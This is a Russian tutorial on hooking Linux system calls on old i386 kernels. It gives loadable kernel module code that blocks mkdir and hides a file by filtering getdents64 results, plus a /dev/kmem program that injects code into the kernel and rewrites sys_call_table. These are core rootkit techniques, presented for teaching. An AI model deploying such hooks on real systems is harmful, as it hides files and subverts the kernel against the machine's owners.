Перехват системных вызовов в OS Linux

Данный материал является модификацией одноименной статьи Владимира Мешкова, опубликованной в журнале "Системный администратор"

[LePetitPrince (lepetitprince@inbox.ru)]

Данный матрериал являеться копиями статей Владимира Мешкова с журанала "Системный администратор". Данные статьи могут быть найдены по приведенным ниже ссылкам. Так же были изменены некоторые примеры исходных текстов программ - улучшены, доработаны. (Сильно изменен пример 4.2, так как пришлось перехватывать немного другой системный вызов) URLs: http://www.samag.ru/img/uploaded/p.pdf http://www.samag.ru/img/uploaded/a3.pdf

Есть вопросы? Тогда вам сюда: lepetitprince@inbox.ru

0. Содержание

  • 1. Общий взгяд на архитектуру Linux
  • 2. Загружаемый модуль ядра
  • 3. Алгоритм перехвата системного вызова на основе LKM
  • 4. Примеры перехвата системных вызовов на основе LKM
    • 4.1 Запрет создания каталогов
    • 4.2 Сокрытие записи о файле в каталоге
  • 5. Метод прямого доступа к адресному пространству ядра /dev/kmem
  • 6. Пример перехвата средствами /dev/kmem

1. Общий взгяд на архитектуру Linux

Самый общий взгяд позволяет увидеть двухуровневую модель системы.
	kernel <=> progs
В центре (слева) находиться ядро системы. Ядро непосредственно взаимодействует, с аппаратной частью компьютера, изолируя прикладные программы от особенностей архитектуры. Ядро имеет набор услуг предоставляемых прикладным программам. К услугам ядра относятся операции ввода/вывода (открытия, чтения, записи и управление файлами), создание и управление процессами, их синхронизации и межпроцессного взаимодействия. Все приложения запрашивают услуги ядра посредством системных вызовов.

Второй уровень составляют приложения или задачи, как системные, определяющие функциональность системы, так и прикладные, обеспечивающие пользовательский интерфейс Linux. Однако не смотря на внешнюю разнородность приложений, схемы взаимодействия с ядром одинаковы.

Взаимодействие с ядром происходит посредством стандартного интерфейса системных вызовов. Интерфейс системных вызовов представляет собой набор услуг ядра и определяет формат запросов на услуги. Процесс запрашивает услугу посредством системного вызова определенной процедуры ядра, внешне похожего на обычный вызов библиотечной функции. Ядро от имени процесса выполняет запрос и возвращает процессу необходимые данные.

В приведенном примере программа открывает файл, считывает из него данные и закрывает этот файл. При этом операция открытия (open), чтения (read) и закрытия (close) файла выполняются ядром по запросу задачи, а функция open(2), read(2) и close(2) являются системными вызовами.

	/* Source 1.0 */
	#include <fcntl.h>
	main ()
	{
		int fd;
		char buf[80];
		
		/* Откроем файл - получим ссылку (файловый дескриптор) fd */
		fd = open("file1",O_RDONLY);
		
		/* Считаем в буфер buf 80 символов */
		read(fd, buf, sizeof(buf));
		
		/* Закроем файл */
		close(fd);
	}
	/* EOF */
Полный перечень системных вызовов OS Linux находиться в файле /usr/include/asm/unistd.h. Давайте теперь рассмотрим механизм выполнения системных вызовов на данном примере. Компилятор, встретив функцию open() для открытия файла, преобразует его в ассемблерный код, обеспечивая загрузку номера системного вызова, соответствующего данной функции, и ее параметров в регистры процессора и последующий вызов прерывания 0x80. В регистры процессора загружаются следующие значения:
  • в регистр EAX - номер системного вызова. Так, для нашего случая номер системного вызова равен 5 (см. __NR_open).
  • в регистр EBX - первый параметр функции (для open() - это указатель на строку, содержащую имя открываемого файла.
  • в регистр ECX - второй параметр (права доступа к файлу)
В регистр EDX загружается третий параметр, в данном случае он у нас отсутствует. Для выполнения системного вызова в OS Linux используется функция system_call, которая определена (в зависимости от архитектуры в данном случае i386) в файле /usr/src/linux/arch/i386/kernel/entry.S. Эта функция - точка входа для всех системных вызовов. Ядро реагирует на прерывание 0x80 обращением к функции system_call, которая, по сути, представляет собой обработчик прерывания 0x80.

Чтобы убедиться, что мы на правильном пути, рассмотрим код функции open() в системной библиотеке libc:

	# gdb -q /lib/libc.so.6
	(gdb) disas open
	Dump of assembler code for function open:
	0x000c8080 <open+0>:    call   0x1082be <__i686.get_pc_thunk.cx>
	0x000c8085 <open+5>:    add    $0x6423b,%ecx
	0x000c808b <open+11>:   cmpl   $0x0,0x1a84(%ecx)
	0x000c8092 <open+18>:   jne    0xc80b1 <open+49>
	0x000c8094 <open+20>:   push   %ebx
	0x000c8095 <open+21>:   mov    0x10(%esp,1),%edx
	0x000c8099 <open+25>:   mov    0xc(%esp,1),%ecx
	0x000c809d <open+29>:   mov    0x8(%esp,1),%ebx
	0x000c80a1 <open+33>:   mov    $0x5,%eax
	0x000c80a6 <open+38>:   int    $0x80
	...
Как не трудно заметить в последних строках, происходит передача параметров в регистры EDX, ECX, EBX, а в последний регистр EAX кладeтся номер системного вызова равный как мы уже знаем 5.

А теперь давайте вернемся к рассмотрению механизма системных вызовов. Итак, ядро вызывает обработчик прерывания 0x80 - функцию system_call. System_call помещает копии регистров, содержащих параметры вызова в стэк, при помощи макроса SAVE_ALL и командой call вызывает нужную системную функцию. Таблица указателей на функции ядра, которые реализуют системные вызовы, расположена в массиве sys_call_table (см. файл arch/i386/kernel/entry.S). Номер системного вызова, который находиться в регистре EAX, является индексом в этом массиве. Таким образом, если в EAX находиться значение 5, будет вызвана функция ядра sys_open(). Зачем нужен макрос SAVE_ALL? Объяснение тут очень простое. Так как практически все системные функции ядра написаны на C, то свои параметры они ищут в стеке. А параметры помещаются в стек при помощи SAVE_ALL! Возвращаемое системным вызовом значение сохраняется в регистр EAX.

Теперь давайте выясним, как перехватить системный вызов. Поможет нам в этом механизм загружаемых модулей ядра.

2. Загружаемый модуль ядра

Загружаемый модуль ядра (общепринятое сокращение LKM - Loadable Kernel Module) - программный код, выполняемый в пространстве ядра. Главной особенностью LKM является возможность динамической загрузки и выгрузки без необходимости перезагрузки всей системы или перекомпиляции ядра.

Каждый LKM состоит из двух основных функций (минимум):

  • функция инициализации модуля. Вызывается при загрузке LKM в память: int init_module(void) { ... }
  • функция выгрузки модуля: void cleanup_module(void) { ... }
Приведем пример простейшего модуля:
	/* Source 2.0 */
	#include <linux/module.h>

	int init_module(void)
	{
		printk("Hello World\n");
		return 0;
	}

	void cleanup_module(void)
	{
		printk("Bye\n");
	}
	/* EOF */
Компилируем и загружаем модуль. Загрузка модуля в память осуществляется командой insmod, а просмотр загруженных модулей командой lsmod:
	# gcc -c -DMODULE -I/usr/src/linux/include/ src-2.0.c
	# insmod src-2.0.o
	Warning: loading src-2.0.o will taint the kernel: no license
	Module src-2.0 loaded, with warnings
	# dmesg | tail -n 1
	Hello World
	# lsmod | grep src
	src-2.0                  336   0  (unused)
	# rmmod src-2.0
	# dmesg | tail -n 1
	Bye

3. Алгоритм перехвата системного вызова на основе LKM

Для реализации модуля, перехватывающего системный вызов, необходимо определить алгоритм перехвата. Алгоритм следующий:
  • сохранить указатель на оригинальный (исходный) вызов для возможности его восстановления
  • создать функцию, реализующую новый системный вызов
  • в таблице системных вызовов sys_call_table произвести замену вызовов, т.е настроить соответствующий указатель на новый системный вызов
  • по окончании работы (при выгрузке модуля) восстановить оригинальный системный вызов, используя ранее сохраненный указатель
Выяснить, какие системные вызовы задействуются пр работе приложения пользователя, позволяет трассировка. Осуществив трассировку, можно определить, какой именно системный вызов следует перехватить, чтобы взять под контроль приложение.
	# ltrace -S ./src-1.0
	...
	open("file1", 0, 01 <unfinished ...>
	SYS_open("file1", 0, 01)                         = 3
	<... open resumed> )                             = 3
	read(3,  <unfinished ...>
	SYS_read(3, "123\n", 80)                         = 4
	<... read resumed> "123\n", 80)                  = 4
	close(3 <unfinished ...>
	SYS_close(3)                                     = 0
	<... close resumed> )                            = 0
	...
Теперь у нас достаточно информации, чтобы приступить к изучению примеров реализации модулей, осуществляющих перехват системных вызовов.

4. Примеры перехвата системных вызовов на основе LKM

4.1 Запрет создания каталогов

При создании каталога вызвывается функция ядра sys_mkdir. В качестве параметра задаеться строка, которой содержится имя создаваемого каталога. Рассмотрим код, осуществляющий перехват соответствующего системного вызова.
	/* Source 4.1 */
	#include <linux/module.h>
	#include <linux/kernel.h>
	#include <sys/syscall.h>

	/* Экспортируем таблицу системных вызовов */
	extern void *sys_call_table[];

	/* Определим указатель для сохранения оригинально вызова */
	int (*orig_mkdir)(const char *path);

	/* Создадим собственный системный вызов. Наш вызов ничего не делает,
	   просто возвращает нулевое значение */
	int own_mkdir(const char *path)
	{
		return 0;
	}

	/* Во время инициализации модуля сохраняем указатель на оригинальный
	   вызов и производим замену системного вызова */
	int init_module(void)
	{
		orig_mkdir=sys_call_table[SYS_mkdir];
		sys_call_table[SYS_mkdir]=own_mkdir;
		printk("sys_mkdir replaced\n");
		return(0);
	}

	/* При выгрузке восстанавливаем оригинальный вызов */

	void cleanup_module(void)
	{
		sys_call_table[SYS_mkdir]=orig_mkdir;
		printk("sys_mkdir moved back\n");
	}
	/* EOF */
Для получения объектного модуля, выполним следующую команду и проведем ряд экспериментов над системой:
	# gcc -c -DMODULE -I/usr/src/linux/include/ src-3.1.c
	# dmesg | tail -n 1
	sys_mkdir replaced
	# mkdir test
	# ls -ald test
	ls: test: No such file or directory
	# rmmod src-3.1
	# dmesg | tail -n 1 
	sys_mkdir moved back
	# mkdir test
	# ls -ald test
	drwxr-xr-x    2 root     root         4096 2003-12-23 03:46 test
Как вы можете убедиться команда 'mkdir' не работает, а точнее ничего не происходит. Для восстановления работоспособности системы достаточно выгрузить модуль. Что и проделано выше.

4.2 Сокрытие записи о файле в каталоге

Определим, какой системный вызов отвечает за чтение содержимого каталога. Для этого напишем еще один тестовый фрагмент, который занимается чтение текущей директории:
	/* Source 4.2.1 */
	#include <stdio.h>
	#include <dirent.h>

	int main()
	{
		DIR *d;
		struct dirent *dp;

		d = opendir(".");
		dp = readdir(d);
		return 0;
	}
	/* EOF */
Получим исполняемый файл и выполним трассировку:
	# gcc -o src-3.2.1 src-3.2.1.c
	# ltrace -S ./src-3.2.1
	...
	opendir("." <unfinished ...>
	SYS_open(".", 100352, 010005141300)                          = 3
	SYS_fstat64(3, 0xbffff79c, 0x4014c2c0, 3, 0xbffff874)        = 0
	SYS_fcntl64(3, 2, 1, 1, 0x4014c2c0)                          = 0
	SYS_brk(NULL)                                                = 0x080495f4
	SYS_brk(0x0806a5f4)                                          = 0x0806a5f4
	SYS_brk(NULL)                                                = 0x0806a5f4
	SYS_brk(0x0806b000)                                          = 0x0806b000
	<... opendir resumed> )                                      = 0x08049648
	readdir(0x08049648 <unfinished ...>
	SYS_getdents64(3, 0x08049678, 4096, 0x40014400, 0x4014c2c0)  = 528
	<... readdir resumed> )                                      = 0x08049678
	...
Следует обратить внимание на последнюю строку. Содержимое каталога считывается функцией getdents64 (в других ядрах возможна getdents). Результат сохраянется в виде списка структур типа struct dirent, а сама функция возвращает длину всех записей в каталоге. Для нас интересны два поля этой структуры:
  • d_reclen - размер записи
  • d_name - имя файла
Для того, чтобы спрятать файл запись о файле (другими словами, сделать его невидимым), необходимо перехватить системный вызов sys_getdents64, найти в списке полученных структур соответствующую запись и удалить ее. Рассмотрим код, выполняющий эту операцию (автор оригинального кода - Michal Zalewski):
	/* Source 4.2.2 */
	#include <linux/module.h>
	#include <linux/kernel.h>
	#include <linux/types.h>
	#include <linux/dirent.h>
	#include <linux/slab.h>
	#include <linux/string.h>
	#include <sys/syscall.h>
	#include <asm/uaccess.h>

	extern void *sys_call_table[];
	int (*orig_getdents)(u_int fd, struct dirent *dirp, u_int count);

	/* Определим свой системный вызов */
	int own_getdents(u_int fd, struct dirent *dirp, u_int count)
	{
		unsigned int tmp, n;
		int t;

		struct dirent64 {
			int d_ino1,d_ino2;
			int d_off1,d_off2;
			unsigned short d_reclen;
			unsigned char d_type;
			char d_name[0];
		} *dirp2, *dirp3;

		/* Имя файла, который мы хотим спрятать */
		char hide[] = "file1";

		/* Определим длину записей в каталоге */
		tmp = (*orig_getdents)(fd,dirp,count);
		if (tmp>0) {

			/* Выделим память для структуры в пространстве ядра и  скопируем в нее
			   содержимое каталога */
			dirp2 = (struct dirent64 *)kmalloc(tmp,GFP_KERNEL);
			copy_from_user(dirp2,dirp,tmp);

			/* Задействуем вторую структуру и сохраним значение длины записей
			   в каталоге */
			dirp3 = dirp2;
			t = tmp;

			/* Начнем искать наш файл */
			while (t>0) {

				/* Считываем длину первой записи и определяем оставшуюся длину
				   записей в каталоге */
				n = dirp3->d_reclen;
				t -= n;

				/* Проверяем, не совпало ли имя файла из текущей записи с искомым */
				if (strstr((char *)&(dirp3->d_name), (char *)&hide) != NULL) {
					/* Если это так, то затираем запись и вычисляем новое значение длины
					   записей в каталоге */

					memcpy(dirp3, (char *)dirp3+dirp3->d_reclen, t);
					tmp -= n;
				}

				/* Позиционируем указатель на следующую запись и продолжаем поиск */
				dirp3 = (struct dirent64 *)((char *)dirp3+dirp3->d_reclen);
			}

			/* Возвращаем результат и освобождаем память */
			copy_to_user(dirp,dirp2,tmp);
			kfree(dirp2);
		}

		/* Возвращаем значение длины записей в каталоге */
		return tmp;
	}

	/* Функции инициализации и выгрузки модуля имеют стандартный вид */
	int init_module(void)
	{
		orig_getdents = sys_call_table[SYS_getdents64];
		sys_call_table[SYS_getdents64]=own_getdents;
		return 0;
	}

	void cleanup_module()
	{
		sys_call_table[SYS_getdents64]=orig_getdents;
	}
	 
	/* EOF */
Скомпилировав данный код, заметим как исчезает 'file1', что и требовалось доказать.

5. Метод прямого доступа к адресному пространству ядра /dev/kmem

Рассмотрим сначала теоретически, как осуществляется перехват методом прямого доступа к адресному пространству ядра, а затем приступим к практической реализации.

Прямой доступ к адресному пространству ядра обеспечивает файл устройства /dev/kmem. В этом файле отображено все доступное виртуальное адресное пространство, включая раздел подкачки (swap-область). Для работы с файлом kmem используются стандартные системные функции - open(), read(), write(). Открыв стандартным способом /dev/kmem, мы можем обратиться к любому адресу в системе, задав его как смещение в этом файле. Данный метод был разработан Silvio Cesare.

Обращение к системным функциям осуществляется посредством загрузки параметров функции в регистры процессора и последующим вызовом программного прерывания 0x80. Обработчик этого прерывания, функция system_call, помещает параметры вызова в стэк, извлекает из таблицы sys_call_table адрес вызываемой системной функции и передает управление по этому адресу.

Имея полный доступ к адресному пространству ядра, мы можем получить все содержимое таблицы системных вызовов, т.е. адреса всех системных функций. Изменив адрес любого системного вызова, мы, тем самым, осуществим его перехват. Но для этого необходимо знать адрес таблицы, или, другими словами, смещение в файле /dev/kmem, по которому эта таблица расположена.

Чтобы определить адрес таблицы sys_call_table, предварительно необходимо вычислить адрес функции system_call. Поскольку данная функция является обработчиком прерывания, давайте рассмотрим, как обрабатываются прерывания в защищенном режиме.

В реальном режиме процессор при регистрации прерывания обращается таблице векторов прерываний, находящейся всегда в самом начале памяти и содержащей двусловные адреса программ обработки прерываний. В защищенном режиме аналогом таблице векторов прерываний является таблица дескрипторов прерываний (IDT, Interrupt Descriptor Table), располагающаяся в операционной системе защищенного режима. Для того, чтобы процессор мог обратиться к этой таблице, ее адрес следует загрузить в регистр IDTR (Interrupt Descriptor Table Register, регистр таблицы дескрипторов прерываний). Таблица IDT содержит дескрипторы обработчиков прерываний, в которые, в частности, входят их адреса. Эти дескрипторы называются шлюзами (вентилями). Процессор, зарегистрировав прерывание, по его номеру извлекает из IDT шлюз, определяет адрес обработчика и передает ему управление.

Для вычисления адреса функции system_call из таблицы IDT необходимо извлечь шлюз прерывания int $0x80, а из него - адрес соответствующего обработчика, т.е. адрес функции system_call. В функции system_call обращение к таблице system_call_table выполняется командой call <адрес_таблицы>(,%eax,4). Найдя опкод (сигнатуру) этой команды в файле /dev/kmem, мы найдем и адрес таблицы системных вызовов.

Для определения опкода воспользуемся отладчиком и дизассемблируем функцию system_call:

	# gdb -q /usr/src/linux/vmlinux 
	(gdb) disas system_call
	Dump of assembler code for function system_call:
	0xc0194cbc <system_call+0>:     push   %eax
	0xc0194cbd <system_call+1>:     cld    
	0xc0194cbe <system_call+2>:     push   %es
	0xc0194cbf <system_call+3>:     push   %ds
	0xc0194cc0 <system_call+4>:     push   %eax
	0xc0194cc1 <system_call+5>:     push   %ebp
	0xc0194cc2 <system_call+6>:     push   %edi
	0xc0194cc3 <system_call+7>:     push   %esi
	0xc0194cc4 <system_call+8>:     push   %edx
	0xc0194cc5 <system_call+9>:     push   %ecx
	0xc0194cc6 <system_call+10>:    push   %ebx
	0xc0194cc7 <system_call+11>:    mov    $0x18,%edx
	0xc0194ccc <system_call+16>:    mov    %edx,%ds
	0xc0194cce <system_call+18>:    mov    %edx,%es
	0xc0194cd0 <system_call+20>:    mov    $0xffffe000,%ebx
	0xc0194cd5 <system_call+25>:    and    %esp,%ebx
	0xc0194cd7 <system_call+27>:    testb  $0x2,0x18(%ebx)
	0xc0194cdb <system_call+31>:    jne    0xc0194d3c <tracesys>
	0xc0194cdd <system_call+33>:    cmp    $0x10e,%eax
	0xc0194ce2 <system_call+38>:    jae    0xc0194d69 <badsys>
	0xc0194ce8 <system_call+44>:    call   *0xc02cbb0c(,%eax,4)
	0xc0194cef <system_call+51>:    mov    %eax,0x18(%esp,1)
	0xc0194cf3 <system_call+55>:    nop    
	End of assembler dump.
Строка 'call *0xc02cbb0c(,%eax,4)' и есть обращение к таблице sys_call_table. Значение 0xc02cbb0c - адрес таблицы (скорее всего у вас числа будут другими). Получим опкод этой команды:
	(gdb) x/xw system_call+44
	0xc0194ce8 <system_call+44>:    0x0c8514ff
Мы нашли опкод команды обращения к таблице sys_call_table. Он равен \xff\x14\x85. Следующие за ним 4 байта - это адрес таблицы. Убедиться в этом можно введя команду:
	(gdb) x/xw system_call+44+3
	0xc0194ceb <system_call+47>:    0xc02cbb0c
Таким образом, найдя в файле /dev/kmem последовательность \xff\x14\x85 и считав следующие за ней 4 байта, мы получим адрес таблицы системных вызовов sys_call_table. Зная ее адрес, мы можем получить содержимое этой таблицы (адреса всех системных функций) и изменить адрес любого системного вызова, перехватив его.

Рассмотрим псевдокод, выполняющий операцию перехвата:

	readaddr  (old_syscall, scr + SYS_CALL*4, 4);
	writeaddr (new_syscall, scr + SYS_CALL*4, 4);
Функция readaddr считывает адрес системного вызова из таблицы системных вызовов и сохраняет его в переменной old_syscall. Каждая запись в таблице sys_call_table занимает 4 байта. Искомый адрес расположен по смещению sct + SYS_CALL*4 в вайле /dev/kmem (здесь sct - адрес таблицы sys_call_table, SYS_CALL - порядковый номер системного вызова). Функция writeaddr перезаписывает адрес системного вызова SYS_CALL адресом функции new_syscall, и все обращения к системного вызову SYS_CALL будут обслуживаться этой функцией.

Кажеться, все просто и цель достигнута. Однако давайте вспомним, что мы работает в адресном пространстве пользователя. Если разместить новую системную функцию в этом адресном пространстве, то при вызове этой функции мы получим красивое сообщение об ошибке. Отсюда вывод - новый системный вызов необходимо разместить в адресном пространстве ядра. Для этого необходимо: получить блок памяти в пространстве ядра, разместить в этом блоке новый системный вызов.

Выделить память в пространстве ядра можно при помощи функции kmalloc. Но вызвать напрямую функцию ядра из адресного пространства пользователя нельзя, поэтому воспользуемся следующим алгоритмом:

  • зная адрес таблицы sys_call_table, получаем адрес некоторого системного вызова (например, sys_mkdir)
  • определяем функцию, выполняющую обращение к функции kmalloc. Эта функция возвращает указатель на блок памяти в адресном пространстве ядра. Назовем эту функцию get_kmalloc
  • сохраняем первые N байт системного вызова sys_mkdir, где N - размер функции get_kmalloc
  • перезаписываем первые N байт вызова sys_mkdir функцией get_kmalloc
  • выполняем обращение к системному вызову sys_mkdir, тем самым запустив на выполнение функцию get_kmalloc
  • восстанавливаем первые N байт системного вызова sys_mkdir
В результате в нашем распоряжении будет блок памяти, расположенный в пространстве ядра.

Но для реализации данного алгоритма нам необходим адрес функции kmalloc. Найти его можно несколькими способами. Самый простой - это считать этот адрес из файла System.map или определить с помошью отладчика gdb (print &kmalloc). Если в ядре включена поддержка модулей, адрес kmalloc можно определить при помощи функции get_kernel_syms(). Этот вариант будет рассмотрен далее. Если же поддержка модулей ядра отсутствует, то адрес функции kmalloc придеться искать по опкоду команды вызова kmalloc - аналогично тому, как было сделано для таблицы sys_call_table.

Функция kmalloc принимает два параметра: размер запрашиваемой памяти и спецификатор GFP. Для поиска опкода воспользуемся отладчиком и дизассемблируем любую функцию ядра, в которой есть вызов функции kmalloc.

	# gdb -q /usr/src/linux/vmlinux 
	(gdb) disas inter_module_register
	Dump of assembler code for function inter_module_register:
	0xc01a57b4 <inter_module_register+0>:   push   %ebp
	0xc01a57b5 <inter_module_register+1>:   push   %edi
	0xc01a57b6 <inter_module_register+2>:   push   %esi
	0xc01a57b7 <inter_module_register+3>:   push   %ebx
	0xc01a57b8 <inter_module_register+4>:   sub    $0x10,%esp
	0xc01a57bb <inter_module_register+7>:   mov    0x24(%esp,1),%ebx
	0xc01a57bf <inter_module_register+11>:  mov    0x28(%esp,1),%esi
	0xc01a57c3 <inter_module_register+15>:  mov    0x2c(%esp,1),%ebp
	0xc01a57c7 <inter_module_register+19>:  movl   $0x1f0,0x4(%esp,1)
	0xc01a57cf <inter_module_register+27>:  movl   $0x14,(%esp,1)
	0xc01a57d6 <inter_module_register+34>:  call   0xc01bea2a <kmalloc>
	...
Неважно что делает функция, главное в ней есть то, что нам нужно - вызов функции kmalloc. Обращаем внимание на последнии строки. Сначала в стэк (регистр esp указывает на верхушку стэка) загружаются параметры, а затем следует вызов функции. Первым в стэк загружается спецификатор GFP ($0x1f0,0x4(%esp,1). Для версий ядра 2.4.9 и выше это значение составляет 0x1f0. Найдем опкод этой команды:
	(gdb) x/xw inter_module_register+19
	0xc01a57c7 <inter_module_register+19>:  0x042444c7
Если мы найдем этот опкод, то сможем вычислить адрес функции kmalloc. На первый взгяд, адрес этой функции является аргументом инструкции call, но это не совсем так. В отличии от функции system_call, здесь за инструкцией стоит не адрес kmalloc, а смещение к нему относительно текущего адреса. Убедимся в этом, определив опкод команды call 0xc01bea2a:
	(gdb) x/xw inter_module_register+34
	0xc01a57d6 <inter_module_register+34>:  0x01924fe8
Первый байт равен e8 - это опкод инструкции call. Найдем значение аргумента этой команды:
	(gdb) x/xw inter_module_register+35
	0xc01a57d7 <inter_module_register+35>:  0x0001924f
Теперь если мы сложим текущий адрес 0xc01a57d6, смещение 0x0001924f и 5 байт команды, то получим искомый адрес функции kmalloc - 0xc01bea2a.

На этом завершим теоретические выкладки и, используя вышеприведенную методику, осуществим перехват системного вызова sys_mkdir.

6. Пример перехвата средствами /dev/kmem

	/* source 6.0 */
	#include <stdio.h>
	#include <string.h>
	#include <sys/types.h>
	#include <sys/stat.h>
	#include <fcntl.h>
	#include <errno.h>
	#include <linux/module.h>
	#include <linux/unistd.h>


	/* Номер системного вызова для перехвата */
	#define _SYS_MKDIR_ 39
	#define KMEM_FILE "/dev/kmem"
	#define MAX_SYMS 4096

	/* Описание формата регистра IDTR */
	struct {
		unsigned short limit;
		unsigned int base;
	} __attribute__ ((packed)) idtr;

	/* Описание формата шлюза прерывания таблицы IDT */
	struct {
		unsigned short off1;
		unsigned short sel;
		unsigned char none, flags;
		unsigned short off2;
	} __attribute__ ((packed)) idt;

	/* Описание структуры для функции get_kmalloc */
	struct  kma_struc {
		ulong   (*kmalloc) (uint, int); // - адрес функции kmalloc
		int     size;                   // - размер памяти для выделения
		int     flags;                  // - флаг, для ядeр >2.4.9 = 0x1f0 (GFP)
		ulong   mem;
	} __attribute__ ((packed)) kmalloc;

	/* Функция которая только выделяет блок памяти в адресном пространстве ядра */
	int get_kmalloc(struct kma_struc *k)
	{
		k->mem = k->kmalloc(k->size, k->flags);
		return 0;
	}

	/* Функция которая возвращает адрес функции (нужно для поиска kmalloc) */
	ulong get_sym(char *n) {
		struct  kernel_sym tab[MAX_SYMS];
		int     numsyms;
		int     i;

		numsyms = get_kernel_syms(NULL);
		if (numsyms > MAX_SYMS || numsyms < 0)
			return 0;
		get_kernel_syms(tab);
		for (i = 0; i < numsyms; i++) {
			if (!strncmp(n, tab[i].name, strlen(n)))
				return tab[i].value;
		}
		return 0;
	}

	/* Наша новая системная функция, ничего не делает ;) */
	int new_mkdir(const char *path)
	{
		return 0;
	}

	/* Читает из /dev/kmem с offset size данных в buf */
	static inline int rkm(int fd, uint offset, void *buf, uint size)
	{
		if (lseek(fd, offset, 0) != offset){
			printf("lseek err\n");
			return 0;
		}
		if (read(fd, buf, size) != size) return 0;
		return size;
	}

	/* Аналогично, но только пишет в /dev/kmem */
	static inline int wkm(int fd, uint offset, void *buf, uint size)
	{
		if (lseek(fd, offset, 0) != offset) return 0;
		if (write(fd, buf, size) != size) return 0;
		return size;
	}

	/* Читает из /dev/kmem данные размером 4 байта */
	static inline int rkml(int fd, uint offset, ulong *buf)
	{
		return rkm(fd, offset, buf, sizeof(ulong));
	}

	/* Аналогично, но только пишет */
	static inline int wkml(int fd, uint offset, ulong buf)
	{
		return wkm(fd, offset, &buf, sizeof(ulong));
	}

	/* Функция для получения адреса sys_call_table */
	ulong get_sct(int kmem)
	{
		ulong   sys_call_off;   // - адрес обработчика 
								//   прерывания int $0x80 (функция system_call)
		char    *p;
		char    sc_asm[128];

		asm("sidt %0" : "=m" (idtr));

		if (!rkm(kmem, idtr.base+(8*0x80), &idt, sizeof(idt))) return 0;

		sys_call_off = (idt.off2 << 16) | idt.off1;

		if (!rkm(kmem, sys_call_off, &sc_asm, 128))
			return 0;


		p = (char *)memmem(sc_asm, 128, "\xff\x14\x85", 3) + 3;
		printf("call for sys_call_table at %08x\n",p);

		if (p)
			return *(ulong *)p;

		return 0;
	}

	/* Функция для определения адреса функции kmalloc */
	ulong get_kma(ulong pgoff)
	{
		uint        i;
		unsigned char   buf[0x10000], *p, *p1;
		int         kmemz;
		ulong       ret;


		ret = get_sym("kmalloc");
		if (ret) {
			printf("\nZer gut!\n");
			return ret;
		}


		kmemz = open("/dev/kmem", O_RDONLY);
		if (kmemz < 0) return 0;

		for (i = pgoff+0x100000; i < (pgoff + 0x1000000); i += 0x10000){
			if (!rkm(kmemz, i, buf, sizeof(buf))) return 0;

			p1=(char *)memmem(buf,sizeof(buf),"\x68\xf0\x01\x00",4);
			if(p1) {
				p=(char *)memmem(p1+4,sizeof(buf),"\xe8",1)+1;
				if (p) {
					close(kmemz);
					return *(unsigned long *)p+i+(p-buf)+4;
				}
			}
		}

		close(kmemz);
		return 0;
	}

	int main() {
		int kmem;					// !! - пустые, нужно подставить
		ulong get_kmalloc_size;		// - размер функции get_kmalloc  !!
		ulong get_kmalloc_addr;		// - адрес функции get_kmalloc   !!
		ulong new_mkdir_size;		// - размер функции-перехватчика !!
		ulong new_mkdir_addr;		// - адрес функции-перехватчика  !!
		ulong sys_mkdir_addr;		// - адрес системного вызова sys_mkdir 
		ulong page_offset;                  // - нижняя граница адресного 
											//   пространства ядра 
		ulong sct;                          // - адрес таблицы sys_call_table 
		ulong kma;                          // - адрес функции kmalloc 
		unsigned char tmp[1024];

		kmem = open(KMEM_FILE, O_RDWR, 0);
		if (kmem < 0) return 0;

		sct = get_sct(kmem);
		page_offset = sct & 0xF0000000;
		kma = get_kma(page_offset);


		printf( "OK\n"
				"page_offset\t\t:\t0x%08x\n"
				"sys_call_table[]\t:\t0x%08x\n"
				"kmalloc()\t\t:\t0x%08x\n",
				page_offset,sct,kma);

		/* Найдем адрес sys_mkdir */
		if (!rkml(kmem, sct+(_SYS_MKDIR_*4), &sys_mkdir_addr)) {
			printf("Cannot get addr of %d syscall\n", _SYS_MKDIR_);
			perror("er: ");
			return 1;
		}

		/* Сохраним первые N байт вызова sys_mkdir  */
		if (!rkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) {
			printf("Cannot save old %d syscall!\n", _SYS_MKDIR_);
			return 1;
		}

		/* Перепишем первые N байт, функцией get_kmalloc */
		if (!wkm(kmem, sys_mkdir_addr,(void *)get_kmalloc_addr, get_kmalloc_size)) {
			printf("Can't overwrite our syscall %d!\n",_SYS_MKDIR_);
			return 1;
		}


		kmalloc.kmalloc = (void *) kma;     //- адрес функции kmalloc
		kmalloc.size = new_mkdir_size;      //- размер запращевоемой 
						    //  памяти (размер функции-перехватчика new_mkdir)
		kmalloc.flags = 0x1f0;              //- спецификатор GFP


		/* Выполним сис. вызов sys_mkdir, тем самым выполним нашу функцию get_kmalloc */
		mkdir((char *)&kmalloc,0);

		/* Востановим оригинальный вызов sys_mkdir */
		if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) {
			printf("Can't restore syscall %d !\n",_SYS_MKDIR_);
			return 1;
		}

		if (kmalloc.mem < page_offset) {
			printf("Allocated memory is too low (%08x < %08x)\n",
			kmalloc.mem, page_offset);
			return 1;
		}


		/* Оторбразим результаты */
		printf( "sys_mkdir_addr\t\t:\t0x%08x\n"
				"get_kmalloc_size\t:\t0x%08x (%d bytes)\n\n"
				"our kmem region\t\t:\t0x%08x\n"
				"size of our kmem\t:\t0x%08x (%d bytes)\n\n",
				sys_mkdir_addr,
				get_kmalloc_size, get_kmalloc_size,
				kmalloc.mem,
				kmalloc.size, kmalloc.size);


		/* Разместим в пространстве ядра наш новый сис. вызво */
		if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr,  new_mkdir_size)) {
			printf("Unable to locate new system call !\n");
			return 1;
		}

		/* Перепишем таблицу sys_call_table на наш новый вызов */
		if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) {
			printf("Eh ...");
			return 1;
		}

		return 1;
	}
	/* EOF */
Скомпилируем полученый код и определим адреса и размеры функций get_kmalloc и new_mkdir. Запускать полученое творение рано! Для вычисления адресов и размеров воспользуемся утилитой objdump:
	# gcc -o src-6.0 src-6.0.c
	# objdump -x ./src-6.0 > dump
Откроем файл dump и найдем интересующие нас данные:
	080485a4 g     F .text  00000032              get_kmalloc
	080486b1 g     F .text  0000000a              new_mkdir
Теперь внесем эти значениея в нашу программу:
	ulong get_kmalloc_size=0x32;
	ulong get_kmalloc_addr=0x080485a4 ;
	ulong new_mkdir_size=0x0a;
	ulong new_mkdir_addr=0x080486b1; 
Теперь перекомпилируем программу. Запустив его на выполнение мы осуществим перехват системного вызова sys_mkdir. Все обращения к вызову sys_mkdir будут теперь обслуживаться функцией new_mkdir.

